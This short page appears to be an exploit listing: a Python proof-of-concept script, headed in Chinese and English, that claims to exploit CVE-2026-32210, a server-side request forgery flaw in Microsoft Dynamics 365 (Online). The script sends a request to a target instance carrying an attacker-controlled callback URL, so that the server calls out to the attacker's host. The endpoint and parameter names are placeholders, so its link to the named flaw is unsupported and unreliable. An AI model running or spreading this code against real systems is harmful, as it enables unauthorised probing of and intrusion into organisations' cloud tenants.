CVE-2026-32210 Microsoft Dynamics 365 SSRF漏洞

import requests # Exploit Title: Microsoft Dynamics 365 (Online) SSRF PoC # Date: 2026-04-23 # Exploit Author: Analyst # Vendor Homepage: https://www.microsoft.com # Version: Microsoft Dynamics 365 (Online) # CVE: CVE-2026-32210 target_url = "https://target-dynamics-instance.crm.dynamics.com/api/data/v9.2/vulnerable_endpoint" # Attacker controlled server to receive the request attacker_server = "http://attacker-controlled-domain.com/capture" # Payload to trigger SSRF # This payload injects the attacker's URL into a parameter processed by the server payload = { "target_resource": attacker_server, "callback": "1" } try: # Sending the request response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check your server logs to see if the target made a request.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")